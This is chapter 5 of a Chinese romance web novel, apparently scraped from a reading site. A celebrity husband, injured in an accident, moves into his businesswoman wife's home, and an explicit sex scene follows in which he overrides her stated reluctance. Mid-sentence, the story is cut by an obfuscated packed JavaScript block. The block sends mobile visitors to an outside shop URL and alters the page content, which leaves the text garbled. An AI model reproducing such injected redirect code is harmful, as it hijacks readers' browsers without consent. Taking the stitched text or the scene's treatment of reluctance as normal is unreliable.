5.第 5 章
作品:《丈夫的容貌,妻子的荣耀》 秦让接连取消两场演唱会,在外界还是引起了不小的震动。
他在演唱会预演出事的传言悄然传开。对此,秦让的工作室做了简短的回应,证实受伤的真实性的同时,也安抚他的粉丝。
秦让在青州只住了三天院,他状况稳定之后,秦翊安排专机,将他接回陵城,住进私人医院。
夏青妍太忙,在秦让住院期间,没有再去探望。直到夏青妍接到易安的电话,被通知秦让即将出院。
彼时,夏青妍正开完一个长会回到办公室。
“秦总住院半个月,明天就要出院了,您要来接他出院吗?”
电话里,易安对夏青妍说。
他说得极其委婉。
秦让在转院回陵城后,每日待在医院中,来看他的人一波接一波,几乎没有闲着的时候。作为秦让的经纪人,对于秦让与夏青妍的关系,易安是知道的。夏青妍没来,那也没什么,这对夫妻原本就不怎么见面。
秦让没有表现出任何异常,直到下午,相继送走秦茂林李婉华,秦翊夫妇,病房无人时,秦让才略显奇怪问:“半个月了,夏青妍一次也没来,她是不知道我已经转回陵城?”
易安才知道,原来不管来探望的人有多少,对于夏青妍没来这件事,秦让仍是有几分介意。
秦让转院回陵城,夏青妍自然知晓,就易安自己,就曾发信息过去知会。只是这样的小事,易安没有对秦让提。
于是,就有了这样的一通电话打来。
夏青妍自然是不知道这背后的事,接到易安的电话,夏青妍才发觉时间过得太快,距离秦让出事已经半个月。
易安打的这通电话,虽然话没多长,信息量却很大,不但提到时间,还告知明天秦让就要出院。这半个月,夏青妍没有去医院探望,作为秦让的妻子,无论两人之间有没有感情,于情于理,在秦让出院时,她都应该出现。但十分不巧,她要出发到F国,隔日在F国有一个重要的跨国交流会,行程已经排好,不能再改。
“明天有事。”
夏青妍伸手看表,她夜晚的飞机,现在还有一点儿时间:“我大约半小时后到医院。”
医院里,易安收起手机。
他特地走出病房去打电话,电话打完,再回到病房。
秦让一个人在病房,他头上的纱布已经取掉,身上的擦伤也好得差不多。只除了一条腿,依旧打着石膏。他行动不方便,却不想成日待在病床,易安推开病房的门,便见秦让坐在沙发中,将打上石膏那条腿搁放在茶几上,拿着电视遥控器按来按去,百无聊赖的模样。
“夏总说待会过来看你。”
进去后,易安对秦让说。
电视没什么好看,秦让一个台看几秒又换另一个,闻言转头:“夏总?”
隔两秒,才反应过来易安口中的夏总是夏青妍。
他忽而轻哼一声,将遥控器扔在了茶几上。
“半个月,我明天都要出院了。”
“她现在才来。”
夏青妍到时,秦让病房的门敞开着。
她走进去,见到只秦让一个人坐在病床上。
“怎么只有你一个人?”
夏青妍问秦让。
她以为易安会陪着他。
秦让看似平静,对着夏青妍微微扬起薄唇,答非所问:“半个月以前,夏总离开青州时不说一声,难为夏总还记得来看我。”
在青州时,秦翊去看望秦让,夏青妍走后就没回病房,秦让一天都没再见到夏青妍,一问才知道,夏青妍早已经离开青州。走得特别干脆,一点儿不拖泥带水。
秦让绝不承认对于这件事他有什么介意,毕竟,他与夏青妍也不过是协议婚姻,不存在什么情谊,在夏青妍那里,工作比他更重要,他绝对可以理解。
“何必多走这一趟,再过几天,我石膏一拆,病都好了。”
秦让慢悠悠又说。
夏青妍听出秦让言语间隐隐的不满,却不太理解。
他在不满什么?
不过,她没有深究,也没必要深究。她时间不多,也无心去了解,有些不重要的东西,直接可以忽略。
“我听说你明天出院,但我明天有事,没有时间。”
夏青妍走进病房,在秦让床前站定,“这段时间比较忙。”
勉强算是解释了这半个月为什么没来。
秦让闻言提眉:“难道夏总还有不忙的时候?”
他那一双好看的眼眸直勾勾看着夏青妍,眼中似透着不解,又有一种本该如此的了然。
别的不说,夏青妍将工作永远将工作排在第一位这件事,他在还未与夏青妍结婚前,就已经知道。
念在夫妻一场,夏青妍对秦让的忍耐度比旁人要高,好脾气回答:“没有。”
得来秦让一声哼笑。
还不如不回答他。
不过,夏青妍向来如此,他倒也已经习惯。
夏青妍既然已经来了,秦让也不想将时间浪费在无意义的事情上,才想与夏青妍聊点正事,哪知就在这时,夏青妍抬手看了一下腕表。
就像是一个讯号。
话到嘴边,秦让换了别的:“你有事?”
夏青妍再看一眼手表:“我晚上八点的飞机。”
现在已经近七点,见过秦让,她该走了。
秦让却还问:“要去哪儿?”
夏青妍:“F国。”
秦让不再说话。
她说的明天有事,不能来接他,原来是要出国。
安静片刻,夏青妍:“如果没事……”
“有事。”
秦让开口,打断她的话。
夏青妍顿住。
秦让像是看不懂夏青妍想走的意图,轻抬起眉,一双长眸注视着夏青妍,慢声说:“我受了伤,家里人不放心我一个人住。”
秦让和夏青妍两人分开住这件事是瞒不住的,秦家人都知道。当初两人结婚前,秦让反抗得厉害,婚是秦正海一定要秦让结,秦茂林李婉华两人的婚姻虽也是利益结合,但到下一代,秦翊与江语晨是大学同学,就已经是自由恋爱,时代不一样,秦茂林和李婉华也没将老一辈的那套强加在孩子身上。
有关秦让的婚姻,秦茂林和李婉华虽不愿逼迫,可在秦家,除秦让外,没有人会忤逆秦正海。两年前,秦让有多反对,闹得就有多凶,后来他终于答应,秦家自然对他再无要求。除了每月一次的固定会面,其他方面,秦家都是睁一只眼闭一只眼。
直至前段时间,秦正海表露出要秦让与夏青妍结束分居生活,搬到一起住的意图。
孩子大了,没幼时好管。秦正海知道秦让当面一套背后一套,答应的事就过个嘴,阳奉阴违,又怎么会放过这样好的一个机会。
秦正海只给秦让两个选择,要么回老宅陪他,要么去夏青妍那儿住。
夏青妍一愣。
她立即就懂秦让话里的含义:“你的意思是……”
秦让:“要么回老宅,要么你去那,二选一。”
好不容易从老宅出来,脱离被管束的日子,秦让当然不会再回去。
“我的腿受伤,接下来的这段时间,就要有劳夏总照顾。”
秦让对着夏青妍勾唇,露出一抹极致好看的笑容,炫彩夺目:“夏总,上次答应过的事,不会不算数吧?”
夏青妍沉默数秒,如果秦让不想去她那里,可以想出一百种办法来拒绝家里的安排,但是他偏偏没有。
为什么?
夏青妍看着秦让,发现她从来看不懂他。
她不是出尔反尔的人,别墅很大,空房就有好几个。既然他要来,那来就是了。
夏青妍摇头,答道:“当然不会。”
时间不早,与秦让说话又耽搁。
这件事说完,夏青妍:“还有没有别的事。”
秦让伸手,比出一个请。
夏青妍朝他点一下头,转身离开。
-
再回到陵城,已经是一星期之后。
夏青妍下午从F国上的飞机,时差的关系,回到陵城已是深夜。
在F国这几天,她与F国元首会面,与F国首富会谈磋商,最终达成合作。一周的高强度工作,回到陵城时,也带回一身的疲累。
到家后,她没在客厅停留,上到二楼,准备先睡一觉。
但进到房间,将灯打开之后,才发现她的床上正躺着别的人。
是秦让。
秦让睡得很沉,她开灯都没能将他吵醒。
房里暖气开得很足,他睡在她的床上,被子搭在腰间,一只腿被遮盖,另一只腿大刺刺露出来。
他的睡相并不老实。
夏青妍见到他,才记起一个星期前,秦让在医院说过会搬到她这儿。
可他为什么没有去睡客房,反而睡在她的床上?
夏青妍看着床上的秦让,轻蹙眉头。
她很累,实在懒得折腾,也没有在自己家睡客房的想法。
只站在原处不到两秒,她便关门走进房间。未免吵醒秦让,她关掉主灯,只留一盏壁灯,昏黄微弱的灯光下,她从衣柜中拿出睡衣去浴室洗了澡。洗过澡后,另拿一床被子,在床上寻了个空处躺下,很快便睡着。
第二天,生物钟让夏青妍很早便醒。
还未彻底清醒,夏青妍便已感到身体上无比沉重。她张开双眼,脑袋中有短暂的空茫。
夏青妍怔愣几秒,才逐渐将视线往下移。不知何时,秦让身上的被子已被踢至角落,他与她同盖一床被子,两人的身体相贴,他的手紧紧环在她的腰间。
难怪她会感觉到沉重。
秦让的身体倾靠在她身上,他的一条腿压住她腿,两人呈现一个从背后拥抱的姿态。这还不算什么,由于两人的贴得太近,她身后被杵着,触感清晰,不用想,她立刻都知道那是什么。
两人床都上了不知多少回,她倒也不尴尬,只是异样的触感,难免让人有想到一些东西,生出异样的感受。
她轻轻动了动,将自己的身体前挪。
只是,她一动,后面的人却又追了上来,片刻空隙也不放过。
……
无法办到。
夏青妍沉默。
片刻之后,她选择放弃,试图先挪开那双环在她腰间的手。
可她的手才碰上他的,正要拉开时,却骤然被反握。
“别动。”
带着慵懒的,不清醒的气息,身后的人开口。
不待夏青妍反应,下一秒钟,他收拢手臂,将她环抱得更紧。
两人靠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366464|199167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得太近,他湿热的气息喷洒在她的颈间,令人感觉不适。
夏青妍皱了皱眉。
既然他已经醒了,她也就不再客气。
“放开手,我要起床了。”
夏青妍微微侧头,对秦让说。
秦让的头贴着她后颈,以她的角度,看不到他的脸,只见到他粗密的黑发。
等待片刻,秦让却丝毫没有动作。
夏青妍蹙眉。
“秦让?”
她再次喊。
可这个名字,却好似触碰到什么开关,秦让倏然张口,咬住她的耳垂。
黏湿、酥麻,夏青妍毫无准备,顿时僵住。
这好似一个警告,并未持续太久,他的唇离开她耳旁时,开口说:“感受不到吗?”
声音很轻,却足以让夏青妍听见,带着一股子才刚睡醒的懒散。
说完,他还给她来了句警告:“你别动。”
只是,如果他在说这话时,不要故意往前,让她更清晰的感受到抵在身后是何物,应该会更具说服力。
秦让在床上时,从来都不好对付。
一但粘身,除非他嗜足放手,否则总是黏黏腻腻,难以挣脱。
他在床上有绝对的控制欲。
但是夏青妍并不想把大好的早晨浪费在床上,她才归国,一般在这时候,国内已堆积许多工作等待她去完成。
夏青妍没听秦让的话,她掰开他的手,往前挪。
可还没等到她彻底脱离,他手臂一收,又将她拖拽回去。
别样的触感再次袭来,秦让施施然在她身后开口:“夏总,你就忍心让我一直立着?”
他说着话,手已经开始游移。
夏青妍按住他的手。
“腿受伤了,还不肯闲?”
伤筋动骨一百天,秦让的腿上还打着石膏,要一个星期以后才取。
夏青妍的话,并没有让秦让更安分。
他再度往前,碰触得更多。
“你也知道,我伤的是腿。”
太……不要脸了。
夏青妍身体僵住。
感受到夏青妍由身到心的不情愿,秦让手上施力,很轻易便将夏青妍从怀中转了个身,不再背对她。
精致俊美到毫无挑剔的脸呈现在夏青妍的眼前,这人由着浓而密的长睫,高挺的鼻梁,如被精心捏造艺术一般的轮廓与五官。
但是,现在夏青妍却无心欣赏。
她皱眉,看着他说:“我早上还有事。”
在外时,她严酷又凌厉,身上自带锐利的锋芒,让人见之自动避让。
在夏氏集团,在商界,所有人都知道,夏青妍这三个字,意味着什么。没有人会再因为她是女子,而看轻她。他们在面对她时,对她妥协,对她躲避,向她垂首臣服。
可这一切,在这张床上,却都不管用。
秦让一点儿也不会怕她。
从未。
甚至,他总是因着她做出这样的神情,说出这样的话,而被她勾起心底里暗藏的征服欲。
一次,再一次。
欲罢不能。
“夏青妍,是你让我变成这样,你得负责。”
秦让不要脸,在床上时,他总是很无赖。
顾忌着伤腿,他只半压在夏青妍的身上,但这就已经足够,夏青妍根本无法挪动。
男女体型上的差距,在床上显露无疑。她在他的怀中,显得如此娇弱瘦小。
夏青妍并不喜欢这样的感受。
秦让手撑着床,额头几乎与她相抵。
暧昧亲密的姿态令人无法自持,他的声音带着轻微的沙哑和喘息:“谁让你这一个星期都去出差,我在这张床上整整等你七天。夏青妍,今天早上,你不准走。”
说罢,也不给夏青妍拒绝的机会,垂首朝她的唇,吻了下去。
想做出格的事,但秦让打着石膏的腿却是个极大的障碍。
待他吻够,他带着夏青妍翻转,下一刻,便成了夏青妍趴在他的身上。
秦让将手往夏青妍的腰上紧紧一握。
除了秦让,谁也不知,在外总是穿着西装,看不出身体曲线的夏青妍夏总,有一副窈窕纤瘦不盈一握的细腰。
秦让的掌心很烫,带着湿汗。
“我不方便。”
秦让对夏青妍说:“今天你在上面。”
他的手在她腰侧稍稍施力,毫无羞耻心说:“如果你累,我会帮你的。”
结婚两年,两人最多的交流,都是在床上。夏青妍早就已经习惯于秦让在床上的放浪。
可任凭她再心如止水,在这时,也听不得这些。
拓宽深凿的感觉令人不适,他们今天没有做太多的前戏。
她轻咬下唇,拧眉对他道:“你……闭嘴!”
这一次,秦让听了她的话。
可他嘴上没有言语,力气却都转移到手上。
不多时,夏青妍便被逼着溢出了声音,咬唇也止不住。
“想叫,就叫出来。”
秦让开口,沙哑轻喘的声音里带着不容人错辨的恶劣:“隔音很好,除了我,没有别人能听见。”
夏青妍此时无从顾及旁的感受,颠簸之中,她唇间溢出飘零散落的声音:“闭……闭,嘴……”

